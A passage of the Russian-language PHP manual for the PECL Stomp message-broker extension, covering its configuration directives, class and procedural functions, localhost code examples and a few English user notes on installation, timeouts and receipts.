configure: error: Cannot find OpenSSL's libraries
ERROR: `/var/tmp/stomp/configure --with-openssl-dir=/usr' failed

Even when openssl-devel is installed on the machine, try answering 'yes' to the openssl path prompt:

pecl install stomp
OpenSSL install prefix (no to disable SSL support) [/usr] : yes


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки
Имя | По умолчанию | Место изменения | Список изменений
stomp.default_broker | tcp://localhost:61613 | PHP_INI_ALL |
stomp.default_connection_timeout_sec | 2 | PHP_INI_ALL |
stomp.default_connection_timeout_usec | 0 | PHP_INI_ALL |
stomp.default_read_timeout_sec | 2 | PHP_INI_ALL |
stomp.default_read_timeout_usec | 0 | PHP_INI_ALL |

Краткое разъяснение конфигурационных директив.

stomp.default_broker string

Брокер URI по умолчанию, используемый при подключении к брокеру сообщений, если прочие URI не указаны.

stomp.default_connection_timeout_sec int

Секундная часть времени ожидания подключения по умолчанию.

stomp.default_connection_timeout_usec int

Микросекундная часть времени ожидания подключения по умолчанию.

stomp.default_read_timeout_sec int

Секундная часть времени ожидания операции чтения по умолчанию.

stomp.default_read_timeout_usec int

Микросекундная часть времени ожидания операции чтения по умолчанию.

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

Существует только один тип ресурсов, используемый в модуле stomp - это идентификатор ссылки для stomp соединения.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Пример #1 Объектно-ориентированный стиль

<?php

$queue = '/queue/foo';
$msg = 'bar';

/* Подключение */
try {
$stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
die('Ошибка подключения: ' . $e->getMessage());
}

/* Отправка сообщения в очередь 'foo' */
$stomp->send($queue, $msg);

/* Подписка к сообщениям в очереди 'foo' */
$stomp->subscribe($queue);

/* Чтение фрейма */
$frame = $stomp->readFrame();

if ($frame->body === $msg) {
var_dump($frame);

/* отклик, что сообщения было получено */
$stomp->ack($frame);
}

/* Закрытие соединения */
unset($stomp);

?>

Результатом выполнения данного примера будет что-то подобное:

object(StompFrame)#2 (3) {
  ["command"]=>
  string(7) "MESSAGE"
  ["headers"]=>
  array(5) {
    ["message-id"]=>
    string(41) "ID:php.net-55293-1257226743606-4:2:-1:1:1"
    ["destination"]=>
    string(10) "/queue/foo"
    ["timestamp"]=>
    string(13) "1257226805828"
    ["expires"]=>
    string(1) "0"
    ["priority"]=>
    string(1) "0"
  }
  ["body"]=>
  string(3) "bar"
}

Пример #2 Процедурный стиль

<?php

$queue = '/queue/foo';
$msg = 'bar';

/* Подключение */
$link = stomp_connect('ssl://localhost:61612');

/* Проверка подключения */
if (!$link) {
die('Ошибка подключения: ' . stomp_connect_error());
}

/* Начало транзакции */
stomp_begin($link, 't1');

/* Отправка сообщения в очередь 'foo' */
stomp_send($link, $queue, $msg, array('transaction' => 't1'));

/* Выполнение транзакции */
stomp_commit($link, 't1');

/* Подписка к сообщениям в очереди 'foo' */
stomp_subscribe($link, $queue);

/* Чтение фрейма */
$frame = stomp_read_frame($link);

if ($frame['body'] === $msg) {
var_dump($frame);

/* отклик, что сообщения было получено */
stomp_ack($link, $frame['headers']['message-id']);
}

/* Закрытие соединения */
stomp_close($link);

?>

Результатом выполнения данного примера будет что-то подобное:

array(3) {
  ["command"]=>
  string(7) "MESSAGE"
  ["body"]=>
  string(3) "bar"
  ["headers"]=>
  array(6) {
    ["transaction"]=>
    string(2) "t1"
    ["message-id"]=>
    string(41) "ID:php.net-55293-1257226743606-4:3:-1:1:1"
    ["destination"]=>
    string(10) "/queue/foo"
    ["timestamp"]=>
    string(13) "1257227037059"
    ["expires"]=>
    string(1) "0"
    ["priority"]=>
    string(1) "0"
  }
}

User Contributed Notes

There are no user contributed notes for this page.


Функции Stomp

Содержание

  • stomp_connect_error — Возвращает строку с описанием последней ошибки подключения
  • stomp_version — Возвращает текущую версию модуля Stomp

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строку с описанием последней ошибки подключения

  • « Функции Stomp
  • stomp_version »
  • PHP Manual
  • Функции Stomp
  • Возвращает строку с описанием последней ошибки подключения

stomp_connect_error

(PECL stomp >= 0.3.0)

stomp_connect_error — Возвращает строку с описанием последней ошибки подключения

Описание

stomp_connect_error(): string

Возвращает строку с описанием последней ошибки подключения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Строка с описанием ошибки, или null, если ошибки не произошло.

Примеры

Пример #1 Пример использования stomp_connect_error()

<?php
$link = stomp_connect('http://localhost:61613');

if(!$link) {
die('Ошибка соединения: ' . stomp_connect_error());
}
?>

Результатом выполнения данного примера будет что-то подобное:

Ошибка соединения: Invalid Broker URI scheme

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущую версию модуля Stomp

  • « stomp_connect_error
  • Stomp »
  • PHP Manual
  • Функции Stomp
  • Возвращает текущую версию модуля Stomp

stomp_version

(PECL stomp >= 0.1.0)

stomp_version — Возвращает текущую версию модуля Stomp

Описание

stomp_version(): string

Возвращает строку, содержащую версию текущего модуля Stomp.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает текущую версию модуля Stomp

Примеры

Пример #1 Пример использования stomp_version()

<?php

var_dump(stomp_version());

?>

Результатом выполнения данного примера будет что-то подобное:

string(5) "0.2.0"

User Contributed Notes

There are no user contributed notes for this page.


Класс Stomp

(PECL stomp >= 0.1.0)

Введение

Представляет связь между PHP и Stomp совместимым брокером сообщений (Message Broker).

Обзор классов

class Stomp {
/* Методы */
public __construct(
string $broker = ini_get("stomp.default_broker_uri"),
string $username = ?,
string $password = ?,
array $headers = ?
)
public abort(string $transaction_id, array $headers = ?): bool
stomp_abort(resource $link, string $transaction_id, array $headers = ?): bool
public ack(mixed $msg, array $headers = ?): bool
stomp_ack(resource $link, mixed $msg, array $headers = ?): bool
public begin(string $transaction_id, array $headers = ?): bool
stomp_begin(resource $link, string $transaction_id, array $headers = ?): bool
public commit(string $transaction_id, array $headers = ?): bool
stomp_commit(resource $link, string $transaction_id, array $headers = ?): bool
stomp_connect(
string $broker = ini_get("stomp.default_broker_uri"),
string $username = ?,
string $password = ?,
array $headers = ?
): resource
stomp_close(resource $link): bool
public error(): string
stomp_error(resource $link): string
public getReadTimeout(): array
stomp_get_read_timeout(resource $link): array
public getSessionId(): string|false
stomp_get_session_id(resource $link): string|false
public hasFrame(): bool
stomp_has_frame(resource $link): bool
public readFrame(string $class_name = "stompFrame"): stompframe
stomp_read_frame(resource $link): array
public send(string $destination, mixed $msg, array $headers = ?): bool
stomp_send(
resource $link,
string $destination,
mixed $msg,
array $headers = ?
): bool
public setReadTimeout(int $seconds, int $microseconds = ?): void
stomp_set_read_timeout(resource $link, int $seconds, int $microseconds = ?): void
public subscribe(string $destination, array $headers = ?): bool
stomp_subscribe(resource $link, string $destination, array $headers = ?): bool
public unsubscribe(string $destination, array $headers = ?): bool
stomp_unsubscribe(resource $link, string $destination, array $headers = ?): bool
public __destruct()
}

Содержание

  • Stomp::abort — Отменяет выполнение текущей транзакции
  • Stomp::ack — Подтверждает получение сообщения
  • Stomp::begin — Создаёт транзакцию
  • Stomp::commit — Выполняет текущую транзакцию
  • Stomp::__construct — Открывает соединение
  • Stomp::__destruct — Закрывает Stomp-соединение
  • Stomp::error — Возвращает последнюю ошибку Stomp
  • Stomp::getReadTimeout — Возвращает время максимального ожидания операции чтения
  • Stomp::getSessionId — Возвращает идентификатор текущей сессии Stomp
  • Stomp::hasFrame — Проверяет, возможно ли чтение фрейма
  • Stomp::readFrame — Выполняет операцию чтения следующего фрейма
  • Stomp::send — Отправляет сообщение
  • Stomp::setReadTimeout — Устанавливает предельное время ожидания операции чтения
  • Stomp::subscribe — Регистрирует подписку на указанную рассылку
  • Stomp::unsubscribe — Удаляет существующую подписку

User Contributed Notes

guilherme dot geronimo at gmail dot com 12-Jul-2017 07:09
In some cases (E.g. ActiveMQ), when you have many consumers you need to identify your "client-id" during the connection process, otherwise the server can misunderstand your connection and create new topics/queues:

<?php
$stomp = new Stomp($url, $user, $password, array('client-id'=> $clientId ));
?>


Отменяет выполнение текущей транзакции

  • « Stomp
  • Stomp::ack »
  • PHP Manual
  • Stomp
  • Отменяет выполнение текущей транзакции

Stomp::abort

stomp_abort

(PECL stomp >= 0.1.0)

Stomp::abort -- stomp_abort — Отменяет выполнение текущей транзакции

Описание

Объектно-ориентированный стиль (метод):

public Stomp::abort(string $transaction_id, array $headers = ?): bool

Процедурный стиль:

stomp_abort(resource $link, string $transaction_id, array $headers = ?): bool

Отменяет выполнение текущей транзакции.

Список параметров

link

Только для процедурного стиля: идентификатор соединения stomp, полученный из stomp_connect().

transaction_id

Транзакция, которую нужно прервать.

headers

Ассоциативный массив, содержащий дополнительные заголовки (пример: receipt).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php

/* подключение */
try {
$stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
die('Ошибка соединения: ' . $e->getMessage());
}

/* начало транзакции */
$stomp->begin('t1');

/* отправка сообщения в очередь */
$stomp->send('/queue/foo', 'bar', array('transaction' => 't1'));

/* откат транзакции */
$stomp->abort('t1');

/* разрыв подключения */
unset($stomp);
?>

Пример #2 Процедурный стиль

<?php

/* подключение */
$link = stomp_connect('tcp://localhost:61613');

/* проверка подключения */
if (!$link) {
die('Ошибка соединения: ' . stomp_connect_error());
}

/* начало транзакции */
stomp_begin($link, 't1');

/* отправка сообщения в очередь 'foo' */
stomp_send($link, '/queue/foo', 'bar', array('transaction' => 't1'));

/* откат транзакции */
stomp_abort($link, 't1');

/* разрыв подключения */
stomp_close($link);

?>

Примечания

Подсказка

Stomp асинхронен по своей сути. Синхронная связь может быть реализована добавлением receipt-заголовка. Это заставит методы ничего не возвращать, пока сервер не подтвердит получение сообщения или не будет превышено время ожидания сообщения.

User Contributed Notes

There are no user contributed notes for this page.


Подтверждает получение сообщения

  • « Stomp::abort
  • Stomp::begin »
  • PHP Manual
  • Stomp
  • Подтверждает получение сообщения

Stomp::ack

stomp_ack

(PECL stomp >= 0.1.0)

Stomp::ack -- stomp_ack — Подтверждает получение сообщения

Описание

Объектно-ориентированный стиль (метод):

public Stomp::ack(mixed $msg, array $headers = ?): bool

Процедурный стиль:

stomp_ack(resource $link, mixed $msg, array $headers = ?): bool

Подтверждает факт получения сообщения из очереди, используя подтверждение клиента.

Список параметров

link

Только для процедурного стиля: идентификатор соединения stomp, полученный из stomp_connect().

msg

Сообщение/идентификатор сообщения, получение которого должно быть подтверждено.

headers

Ассоциативный массив, содержащий дополнительные заголовки (пример: receipt).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php

$queue = '/queue/foo';
$msg = 'bar';

/* подключение */
try {
$stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
die('Ошибка соединения: ' . $e->getMessage());
}

/* отправка сообщения в очередь 'foo' */
$stomp->send($queue, $msg);

/* подписка на сообщения из очереди 'foo' */
$stomp->subscribe($queue);

/* чтение фрейма */
$frame = $stomp->readFrame();

if ($frame->body === $msg) {
/* подтверждение получения фрейма */
$stomp->ack($frame);
}

/* отмена подписки к очереди */
$stomp->unsubscribe($queue);

/* закрытие подключения */
unset($stomp);

?>

Пример #2 Процедурный стиль

<?php

$queue = '/queue/foo';
$msg = 'bar';

/* подключение */
$link = stomp_connect('ssl://localhost:61612');

/* проверка соединения */
if (!$link) {
die('Ошибка соединения: ' . stomp_connect_error());
}

/* начало транзакции */
stomp_begin($link, 't1');

/* отправка сообщения в очередь 'foo' */
stomp_send($link, $queue, $msg, array('transaction' => 't1'));

/* подтверждение транзакции */
stomp_commit($link, 't1');

/* подписка на сообщения из очереди 'foo' */
stomp_subscribe($link, $queue);

/* чтение фрейма */
$frame = stomp_read_frame($link);

if ($frame['body'] === $msg) {
/* подтверждение получения фрейма */
stomp_ack($link, $frame['headers']['message-id']);
}

/* отмена подписки к очереди */
stomp_unsubscribe($link, $queue);

/* закрытие подключения */
stomp_close($link);

?>

Примечания

Замечание:

Также может быть указан заголовок транзакции, означающий что приём сообщения должен являться частью именованной транзакции.

Подсказка

Stomp асинхронен по своей сути. Синхронная связь может быть реализована добавлением receipt-заголовка. Это заставит методы ничего не возвращать, пока сервер не подтвердит получение сообщения или не будет превышено время ожидания сообщения.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт транзакцию

  • « Stomp::ack
  • Stomp::commit »
  • PHP Manual
  • Stomp
  • Создаёт транзакцию

Stomp::begin

stomp_begin

(PECL stomp >= 0.1.0)

Stomp::begin -- stomp_begin — Создаёт транзакцию

Описание

Объектно-ориентированный стиль (метод):

public Stomp::begin(string $transaction_id, array $headers = ?): bool

Процедурный стиль:

stomp_begin(resource $link, string $transaction_id, array $headers = ?): bool

Создаёт транзакцию.

Список параметров

link

Только для процедурного стиля: идентификатор соединения stomp, полученный из stomp_connect().

transaction_id

Идентификатор транзакции.

headers

Ассоциативный массив, содержащий дополнительные заголовки (пример: receipt).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Смотрите stomp_commit() или stomp_abort().

Примечания

Подсказка

Stomp асинхронен по своей сути. Синхронная связь может быть реализована добавлением receipt-заголовка. Это заставит методы ничего не возвращать, пока сервер не подтвердит получение сообщения или не будет превышено время ожидания сообщения.

User Contributed Notes

There are no user contributed notes for this page.


Выполняет текущую транзакцию

  • « Stomp::begin
  • Stomp::__construct »
  • PHP Manual
  • Stomp
  • Выполняет текущую транзакцию

Stomp::commit

stomp_commit

(PECL stomp >= 0.1.0)

Stomp::commit -- stomp_commit — Выполняет текущую транзакцию

Описание

Объектно-ориентированный стиль (метод):

public Stomp::commit(string $transaction_id, array $headers = ?): bool

Процедурный стиль:

stomp_commit(resource $link, string $transaction_id, array $headers = ?): bool

Выполняет текущую транзакцию.

Список параметров

link

Только для процедурного стиля: идентификатор соединения stomp, полученный из stomp_connect().

transaction_id

Идентификатор транзакции.

headers

Ассоциативный массив, содержащий дополнительные заголовки (пример: receipt).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php

/* подключение */
try {
$stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
die('Ошибка соединения: ' . $e->getMessage());
}

/* Начало транзакции */
$stomp->begin('t1');

/* отправка сообщения в очередь */
$stomp->send('/queue/foo', 'bar', array('transaction' => 't1'));

/* выполнение транзакции */
$stomp->commit('t1');

/* закрытие подключения */
unset($stomp);

?>

Пример #2 Процедурный стиль

<?php

/* подключение */
$link = stomp_connect('tcp://localhost:61613');

/* проверка подключения */
if (!$link) {
die('Ошибка соединения: ' . stomp_connect_error());
}

/* Начало транзакции */
stomp_begin($link, 't1');

/* Отправка сообщения в очередь 'foo' */
stomp_send($link, '/queue/foo', 'bar', array('transaction' => 't1'));

/* Выполнение транзакции */
stomp_commit($link, 't1');

/* Закрытие изменения */
stomp_close($link);

?>

Примечания

Подсказка

Stomp асинхронен по своей сути. Синхронная связь может быть реализована добавлением receipt-заголовка. Это заставит методы ничего не возвращать, пока сервер не подтвердит получение сообщения или не будет превышено время ожидания сообщения.

User Contributed Notes

There are no user contributed notes for this page.


Открывает соединение

  • « Stomp::commit
  • Stomp::__destruct »
  • PHP Manual
  • Stomp
  • Открывает соединение

Stomp::__construct

stomp_connect

(PECL stomp >= 0.1.0)

Stomp::__construct -- stomp_connect — Открывает соединение

Описание

Объектно-ориентированный стиль (конструктор):

public Stomp::__construct(
string $broker = ini_get("stomp.default_broker_uri"),
string $username = ?,
string $password = ?,
array $headers = ?
)

Процедурный стиль:

stomp_connect(
string $broker = ini_get("stomp.default_broker_uri"),
string $username = ?,
string $password = ?,
array $headers = ?
): resource

Открывает соединение к Stomp-совместимому брокеру сообщений (Message Broker).

Список параметров

broker

URI брокера

username

Имя пользователя

password

Пароль

headers

Ассоциативный массив, содержащий дополнительные заголовки (пример: receipt).

Возвращаемые значения

Замечание:

Также может быть указан заголовок транзакции, означающий что приём сообщения должен являться частью именованной транзакции.

Список изменений

Версия | Описание
PECL stomp 1.0.1 | Добавлен параметр headers

Примеры

Пример #1 Объектно-ориентированный стиль

<?php

/* подключение */
try {
$stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
die('Ошибка соединения: ' . $e->getMessage());
}

/* закрытие соединения */
unset($stomp);

?>

Пример #2 Процедурный стиль

<?php

/* подключение */
$link = stomp_connect('ssl://localhost:61612');

/* проверка соединения */
if (!$link) {
die('Ошибка соединения: ' . stomp_connect_error());
}

/* Закрытие соединения */
stomp_close($link);

?>

User Contributed Notes

There are no user contributed notes for this page.


Закрывает Stomp-соединение

  • « Stomp::__construct
  • Stomp::error »
  • PHP Manual
  • Stomp
  • Закрывает Stomp-соединение

Stomp::__destruct

stomp_close

(PECL stomp >= 0.1.0)

Stomp::__destruct -- stomp_close — Закрывает Stomp-соединение

Описание

Объектно-ориентированный стиль (деструктор):

public Stomp::__destruct()

Процедурный стиль:

stomp_close(resource $link): bool

Закрывает ранее открытые соединения.

Список параметров

link

Только для процедурного стиля: идентификатор соединения stomp, полученный из stomp_connect().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Смотрите stomp_connect().

User Contributed Notes

vanja at removethis dizyart period com 29-Oct-2018 04:11
Isn't it a little odd to have connect/disconnect in the constructor/destructor methods?
I have a case where the connection is presumably kept alive until the PHP process ends:

<?php
class MyStompWrapper {
    public function doSend()
    {
        $stomp = $this->connect(); // returns Stomp Object
        $stomp->send('/destination', 'message', []);
        $this->disconnect($stomp);
        // $stomp still exists in this scope, hence, the connection is alive
    }

    private function disconnect(\Stomp $stompObj)
    {
        // only unsets the local $stomp pointer, does not actually disconnect
        unset($stomp);
    }

    private function connect():\Stomp
    {
        // try-catch block omitted for example brevity
        return new Stomp('url', 'username', 'password');
    }
}
?>

This means that, in order to handle disconnecting, I have to create and destroy the Stomp object within the same scope.


Возвращает последнюю ошибку Stomp

  • « Stomp::__destruct
  • Stomp::getReadTimeout »
  • PHP Manual
  • Stomp
  • Возвращает последнюю ошибку Stomp

Stomp::error

stomp_error

(PECL stomp >= 0.1.0)

Stomp::error -- stomp_error — Возвращает последнюю ошибку Stomp

Описание

Объектно-ориентированный стиль (метод):

public Stomp::error(): string

Процедурный стиль:

stomp_error(resource $link): string

Возвращает последнюю ошибку Stomp.

Список параметров

link

Только для процедурного стиля: идентификатор соединения stomp, полученный из stomp_connect().

Возвращаемые значения

Возвращает текст ошибки или false в случае возникновения ошибки.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php

/* подключение */
try {
$stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
die('Ошибка соединения: ' . $e->getMessage());
}

var_dump($stomp->error());

if (!$stomp->abort('unknown-transaction', array('receipt' => 'foo'))) {
var_dump($stomp->error());
}

/* Закрытие соединения */
unset($stomp);

?>

Результатом выполнения данного примера будет что-то подобное:

bool(false)
string(43) "Invalid transaction id: unknown-transaction"

Пример #2 Процедурный стиль

<?php

/* подключение */
$link = stomp_connect('ssl://localhost:61612');

/* проверка соединения */
if (!$link) {
die('Ошибка соединения: ' . stomp_connect_error());
}

var_dump(stomp_error($link));

if (!stomp_abort($link, 'unknown-transaction', array('receipt' => 'foo'))) {
var_dump(stomp_error($link));
}

/* закрытие соединения */
stomp_close($link);

?>

Результатом выполнения данного примера будет что-то подобное:

bool(false)
string(43) "Invalid transaction id: unknown-transaction"

User Contributed Notes

There are no user contributed notes for this page.


Возвращает время максимального ожидания операции чтения

  • « Stomp::error
  • Stomp::getSessionId »
  • PHP Manual
  • Stomp
  • Возвращает время максимального ожидания операции чтения

Stomp::getReadTimeout

stomp_get_read_timeout

(PECL stomp >= 0.3.0)

Stomp::getReadTimeout -- stomp_get_read_timeout — Возвращает время максимального ожидания операции чтения

Описание

Объектно-ориентированный стиль (метод):

public Stomp::getReadTimeout(): array

Процедурный стиль:

stomp_get_read_timeout(resource $link): array

Возвращает время максимального ожидания операции чтения

Список параметров

link

Только для процедурного стиля: идентификатор соединения stomp, полученный из stomp_connect().

Возвращаемые значения

Возвращает массив с 2 элементами: sec и usec.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php

/* подключение */
try {
$stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
die('Ошибка соединения: ' . $e->getMessage());
}

var_dump($stomp->getReadTimeout());

/* закрытие соединения */
unset($stomp);

?>

Результатом выполнения данного примера будет что-то подобное:

array(2) {
  ["sec"]=>
  int(2)
  ["usec"]=>
  int(0)
}

Пример #2 Процедурный стиль

<?php

/* подключение */
$link = stomp_connect('ssl://localhost:61612');

/* проверка соединения */
if (!$link) {
die('Ошибка соединения: ' . stomp_connect_error());
}

var_dump(stomp_get_read_timeout($link));

/* закрытие соединения */
stomp_close($link);

?>

Результатом выполнения данного примера будет что-то подобное:

array(2) {
  ["sec"]=>
  int(2)
  ["usec"]=>
  int(0)
}

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор текущей сессии Stomp

  • « Stomp::getReadTimeout
  • Stomp::hasFrame »
  • PHP Manual
  • Stomp
  • Возвращает идентификатор текущей сессии Stomp

Stomp::getSessionId

stomp_get_session_id

(PECL stomp >= 0.1.0)

Stomp::getSessionId -- stomp_get_session_id — Возвращает идентификатор текущей сессии Stomp

Описание

Объектно-ориентированный стиль (метод):

public Stomp::getSessionId(): string|false

Процедурный стиль:

stomp_get_session_id(resource $link): string|false

Возвращает идентификатор текущей сессии Stomp.

Список параметров

link

Только для процедурного стиля: идентификатор соединения stomp, полученный из stomp_connect().

Возвращаемые значения

Идентификатор сессии (string) в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php

/* подключение */
try {
$stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
die('Ошибка соединения: ' . $e->getMessage());
}

var_dump($stomp->getSessionId());

/* закрытие подключения */
unset($stomp);

?>

Результатом выполнения данного примера будет что-то подобное:

string(35) "ID:php.net-52873-1257291895530-4:14"

Пример #2 Процедурный стиль

<?php

/* подключение */
$link = stomp_connect('ssl://localhost:61612');

/* проверка соединения */
if (!$link) {
die('Ошибка соединения: ' . stomp_connect_error());
}

var_dump(stomp_get_session_id($link));

/* закрытие подключения */
stomp_close($link);

?>

Результатом выполнения данного примера будет что-то подобное:

string(35) "ID:php.net-52873-1257291895530-4:14"

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, возможно ли чтение фрейма

  • « Stomp::getSessionId
  • Stomp::readFrame »
  • PHP Manual
  • Stomp
  • Проверяет, возможно ли чтение фрейма

Stomp::hasFrame

stomp_has_frame

(PECL stomp >= 0.1.0)

Stomp::hasFrame -- stomp_has_frame — Проверяет, возможно ли чтение фрейма

Описание

Объектно-ориентированный стиль (метод):

public Stomp::hasFrame(): bool

Процедурный стиль:

stomp_has_frame(resource $link): bool

Проверяет, возможно ли чтение фрейма.

Список параметров

link

Только для процедурного стиля: идентификатор соединения stomp, полученный из stomp_connect().

Возвращаемые значения

Возвращает true если фрейм возможно прочитать, иначе false.

User Contributed Notes

ricks at panamax dot com 28-Sep-2016 05:54
Be aware that this function/method will block the caller, unless a frame is currently ready to be read. The duration of the block is the currently set read timeout.

The installation default for PECL Stomp read timeout is two seconds. Unless the associated ini file has been modified to override this value, or you have used the "set read timeout" function/method, the block time will be two seconds.


Выполняет операцию чтения следующего фрейма

  • « Stomp::hasFrame
  • Stomp::send »
  • PHP Manual
  • Stomp
  • Выполняет операцию чтения следующего фрейма

Stomp::readFrame

stomp_read_frame

(PECL stomp >= 0.1.0)

Stomp::readFrame -- stomp_read_frame — Выполняет операцию чтения следующего фрейма

Описание

Объектно-ориентированный стиль (метод):

public Stomp::readFrame(string $class_name = "stompFrame"): stompframe

Процедурный стиль:

stomp_read_frame(resource $link): array

Выполняет операцию чтения следующего фрейма. Если возможно, то создаёт экземпляр указанного класса и передаёт параметры конструктору этого класса.

Список параметров

link

Только для процедурного стиля: идентификатор соединения stomp, полученный из stomp_connect().

class_name

Имя класса для создания экземпляра. Если не указан, возвращается объект stompFrame.

Возвращаемые значения

Замечание:

Также может быть указан заголовок транзакции, означающий что приём сообщения должен являться частью именованной транзакции.

Список изменений

Версия | Описание
Stomp 0.4.0 | Добавлен параметр class_name.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php

/* подключение */
try {
$stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
die('Ошибка соединения: ' . $e->getMessage());
}

/* подписка на сообщения из очереди 'foo' */
$stomp->subscribe('/queue/foo');

/* чтение фрейма */
var_dump($stomp->readFrame());

/* закрытие подключения */
unset($stomp);

?>

Результатом выполнения данного примера будет что-то подобное:

object(StompFrame)#2 (3) {
  ["command"]=>
  string(7) "MESSAGE"
  ["headers"]=>
  array(5) {
    ["message-id"]=>
    string(41) "ID:php.net-55293-1257226743606-4:2:-1:1:1"
    ["destination"]=>
    string(10) "/queue/foo"
    ["timestamp"]=>
    string(13) "1257226805828"
    ["expires"]=>
    string(1) "0"
    ["priority"]=>
    string(1) "0"
  }
  ["body"]=>
  string(3) "bar"
}

Пример #2 Процедурный стиль

<?php

/* подключение */
$link = stomp_connect('ssl://localhost:61612');

/* проверка соединения */
if (!$link) {
die('Ошибка соединения: ' . stomp_connect_error());
}

/* подписка на сообщения из очереди 'foo' */
stomp_subscribe($link, '/queue/foo');

/* чтение фрейма */
$frame = stomp_read_frame($link);

/* закрытие подключения */
stomp_close($link);

?>

Результатом выполнения данного примера будет что-то подобное:

array(3) {
  ["command"]=>
  string(7) "MESSAGE"
  ["body"]=>
  string(3) "bar"
  ["headers"]=>
  array(6) {
    ["transaction"]=>
    string(2) "t1"
    ["message-id"]=>
    string(41) "ID:php.net-55293-1257226743606-4:3:-1:1:1"
    ["destination"]=>
    string(10) "/queue/foo"
    ["timestamp"]=>
    string(13) "1257227037059"
    ["expires"]=>
    string(1) "0"
    ["priority"]=>
    string(1) "0"
  }
}

User Contributed Notes

hasan dot ucak at gmail dot com 29-Jan-2018 02:44
/* php.ini
[stomp]
stomp.default_connection_timeout_sec = 10
stomp.default_read_timeout_sec = 15

these values should not be left by default.
if queue server very busy and there is a lot message in queue ,
not respond to frame in two second.
*/

  try {
            $stomp = new Stomp(self::geturl, self::username, self::password,array('client-id'=> gethostname()."-".uniqid(mt_rand(), true)));

            $stomp->subscribe(self::getqueue, array('selector' => sprintf(self::selector, $queue_id)));

            /* read a frame */

            $frame = $stomp->readFrame();
            if ($frame) {
                $stomp->ack($frame);
                unset($stomp);
                return $frame;
            }
            unset($stomp);
            return false;
        } catch (StompException $e) {
            print ('Connection failed: ' . $e->getMessage());
            unset($stomp);
            return false;
        }

        /* close connection */
        unset($stomp);


Отправляет сообщение

  • « Stomp::readFrame
  • Stomp::setReadTimeout »
  • PHP Manual
  • Stomp
  • Отправляет сообщение

Stomp::send

stomp_send

(PECL stomp >= 0.1.0)

Stomp::send -- stomp_send — Отправляет сообщение

Описание

Объектно-ориентированный стиль (метод):

public Stomp::send(string $destination, mixed $msg, array $headers = ?): bool

Процедурный стиль:

stomp_send(
resource $link,
string $destination,
mixed $msg,
array $headers = ?
): bool

Отправляет сообщение брокеру сообщений (Message Broker).

Список параметров

link

Только для процедурного стиля: идентификатор соединения stomp, полученный из stomp_connect().

destination

Назначение для отправки сообщения.

msg

Сообщение для отправки.

headers

Ассоциативный массив, содержащий дополнительные заголовки (пример: receipt).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Смотрите stomp_ack().

Примечания

Замечание:

Также может быть указан заголовок транзакции, означающий что приём сообщения должен являться частью именованной транзакции.

Подсказка

Stomp асинхронен по своей сути. Синхронная связь может быть реализована добавлением receipt-заголовка. Это заставит методы ничего не возвращать, пока сервер не подтвердит получение сообщения или не будет превышено время ожидания сообщения.

User Contributed Notes

james dot mk dot green at gmail dot com 22-Aug-2011 04:14
Without a receipt header your application will fire messages potentially faster than the broker can receive them at. The broker may issue failure notices however STOMP being asynchronous your client won't get to see it.

Without a receipt ActiveMQ (5.5.0) with ProducerFlowControl turned on drops messages (even persistent ones) and my application knows nothing about it (send() returned true). With receipt header specified the STOMP library handles the wait for the receipt acknowledgement for you - you are essentially automatically throttled.


Устанавливает предельное время ожидания операции чтения

  • « Stomp::send
  • Stomp::subscribe »
  • PHP Manual
  • Stomp
  • Устанавливает предельное время ожидания операции чтения

Stomp::setReadTimeout

stomp_set_read_timeout

(PECL stomp >= 0.3.0)

Stomp::setReadTimeout -- stomp_set_read_timeout — Устанавливает предельное время ожидания операции чтения

Описание

Объектно-ориентированный стиль (метод):

public Stomp::setReadTimeout(int $seconds, int $microseconds = ?): void

Процедурный стиль:

stomp_set_read_timeout(resource $link, int $seconds, int $microseconds = ?): void

Устанавливает предельное время ожидания операции чтения.

Список параметров

link

Только для процедурного стиля: идентификатор соединения stomp, полученный из stomp_connect().

seconds

Секундная часть времени ожидания операции.

microseconds

Микросекундная времени ожидания операции.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php

/* подключение */
try {
$stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
die('Ошибка соединения: ' . $e->getMessage());
}

$stomp->setReadTimeout(10);

/* закрытие подключения */
unset($stomp);

?>

Пример #2 Процедурный стиль

<?php

/* подключение */
$link = stomp_connect('ssl://localhost:61612');

/* проверка соединения */
if (!$link) {
die('Ошибка подключения: ' . stomp_connect_error());
}

stomp_set_read_timeout($link, 10);

/* закрытие подключения */
stomp_close($link);

?>

User Contributed Notes

